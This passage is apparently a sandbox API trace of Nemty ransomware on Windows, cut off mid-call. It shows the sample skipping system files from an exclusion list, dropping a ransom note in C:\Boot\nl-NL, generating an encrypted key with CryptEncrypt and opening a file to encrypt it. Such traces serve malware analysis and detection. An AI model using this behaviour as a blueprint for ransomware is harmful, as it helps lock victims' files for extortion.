lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0045.364] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0045.364] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0045.364] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0045.364] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0045.364] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0045.364] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.365] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceaaa070, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xceaaa070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xceaaa070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0045.365] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0045.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.365] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2=".") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="..") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="...") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="windows") returned -1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="$RECYCLE.BIN") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="rsa") returned -1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="NTDETECT.COM") returned -1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="ntldr") returned -1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="MSDOS.SYS") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="IO.SYS") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="boot.ini") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="boot.ini") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="AUTOEXEC.BAT") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="ntuser.dat") returned -1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="desktop.ini") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="CONFIG.SYS") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="RECYCLER") returned -1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="BOOTSECT.BAK") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="bootmgr") returned 1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="programdata") returned -1 [0045.365] lstrcmpiW (lpString1="nl-NL", lpString2="appdata") returned 1 [0045.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl-NL", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl-NL", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nl-NL", lpUsedDefaultChar=0x0) returned 5 [0045.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl-NL", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl-NL", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nl-NL", lpUsedDefaultChar=0x0) returned 5 [0045.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.366] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\nl-nl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.366] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.367] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0045.367] CloseHandle (hObject=0x3c0) returned 1 [0045.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.368] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\nl-nl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.369] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.369] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0045.370] CloseHandle (hObject=0x3c0) returned 1 [0045.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0045.370] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcebdab70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcebdab70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0045.370] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0045.370] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcebdab70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcebdab70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.370] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0045.370] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0045.370] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0045.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0045.371] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0045.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0045.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.371] Sleep (dwMilliseconds=0x5) [0045.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcec00cd0, dwHighDateTime=0x1d561e7)) [0045.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcec00cd0, dwHighDateTime=0x1d561e7)) [0045.379] GetLastError () returned 0xb7 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.379] GetLastError () returned 0xb7 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.379] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0045.379] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0045.379] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0045.379] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="kPu/dXFB9MaQV8Q7vDtNymNYVzPknN1V3gIXbPVQcu0pAx7zwinNaFZ+xcZVHF+e\r\nLz1Q/WUSmTsEyv0ZA3M+Md1xLCpghi59wxV2iRquqU9VKJm6K4E2dDbDcfDRYBGc\r\nToCIzp+wXPsxxO/CUj9kxvnoPX3d9XzYnVneO68lywNr12brqS63bzTg5dQW2TOF\r\nr7rn5AcF5Fgp4xX49hPBbfkpU07+NXyiF/Rkm4npnyRfdZ1Nq2tMBHtGcU0RNMJV\r\nNCMu8opWduxp5NhfvRwiUwvABwrJoGuIiGOq3YLl4fjOIbKuX3uVvr1IdwJ/mm5A\r\n6H9/THsGh8S5j/ondtmeAg==\r\n", pcchString=0x653f2dc) returned 1 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0045.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0045.379] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, 